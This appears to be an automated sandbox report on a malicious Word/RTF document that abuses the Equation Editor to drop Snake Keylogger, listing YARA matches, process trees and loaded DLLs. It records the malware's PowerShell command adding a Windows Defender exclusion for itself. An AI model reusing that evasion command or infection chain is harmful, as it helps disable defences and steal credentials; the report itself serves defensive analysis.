Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056C020	8_2_0056C020
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00563920	8_2_00563920
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00565320	8_2_00565320
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056CD28	8_2_0056CD28
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00564628	8_2_00564628
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00566028	8_2_00566028
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00565BD4	8_2_00565BD4
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056C8D0	8_2_0056C8D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005641D0	8_2_005641D0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00564ED0	8_2_00564ED0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00564ED8	8_2_00564ED8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056D5D8	8_2_0056D5D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056FBD8	8_2_0056FBD8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056AEC0	8_2_0056AEC0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005641C0	8_2_005641C0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056C8C1	8_2_0056C8C1
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056BBC8	8_2_0056BBC8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005634C8	8_2_005634C8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00562AC9	8_2_00562AC9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005682F6	8_2_005682F6
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005675F0	8_2_005675F0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00568FF0	8_2_00568FF0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005682F8	8_2_005682F8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005668E4	8_2_005668E4
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00565BE0	8_2_00565BE0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056E4E0	8_2_0056E4E0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005668E8	8_2_005668E8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00566490	8_2_00566490
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00567E9E	8_2_00567E9E
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00567198	8_2_00567198
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00568B98	8_2_00568B98
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056D180	8_2_0056D180
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00564A80	8_2_00564A80
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00566480	8_2_00566480
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00565788	8_2_00565788
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056DE88	8_2_0056DE88
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00567188	8_2_00567188
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005698B0	8_2_005698B0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056AEB0	8_2_0056AEB0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056BBB8	8_2_0056BBB8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005634B9	8_2_005634B9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_005698A2	8_2_005698A2
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00567EA0	8_2_00567EA0
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0056F2A8	8_2_0056F2A8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00568BA8	8_2_00568BA8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00652E78	8_2_00652E78
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00650040	8_2_00650040
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00653558	8_2_00653558
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00653C38	8_2_00653C38
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00654318	8_2_00654318
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_006549F8	8_2_006549F8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_006550D8	8_2_006550D8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_006557B8	8_2_006557B8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00652E68	8_2_00652E68
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_0065354A	8_2_0065354A
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00652121	8_2_00652121
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00653C28	8_2_00653C28
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00652130	8_2_00652130
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00652B00	8_2_00652B00
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00654308	8_2_00654308
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_006549E9	8_2_006549E9
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00652AF2	8_2_00652AF2
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_006550C8	8_2_006550C8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_00650ED8	8_2_00650ED8
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Code function: 8_2_006557A8	8_2_006557A8

Source: na.doc, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 00000008.00000002.908152550.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000005.00000002.414699470.00000000039A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: cmnjgyugo61000.exe PID: 3472, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: cmnjgyugo61000.exe PID: 3576, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: CLLPdgxhnmwGf5Y[1].exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: cmnjgyugo61000.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, COVID19.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, VIPSeassion.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, FpO6EurS5foft958ol.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, FpO6EurS5foft958ol.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	Security API names: _0020.AddAccessRule
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	Security API names: _0020.AddAccessRule
Source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, FpO6EurS5foft958ol.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 5.2.cmnjgyugo61000.exe.8510000.6.raw.unpack, gFGLQUQObC5qQ0lCjG.cs	Security API names: _0020.AddAccessRule

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winDOC@9/14@26/8

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$na.doc

Jump to behavior

Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC503.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................3.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............E3.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............Y3.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............h3.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............{3.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................3.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n............... ................3.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................3.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..........3.........................s............X....... .......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................3.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................3.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................4.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......4.........................s............X.......$.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............(4.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............:4.........................s............................................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............F4.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............X.......2.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............d4.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ...............v4.........................s....................l.......................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. ................4.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P............. ................4.........................s............X...............................	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P............. .......4........4.........................s............X...............................	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: na.doc

ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe	Process created: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe "C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
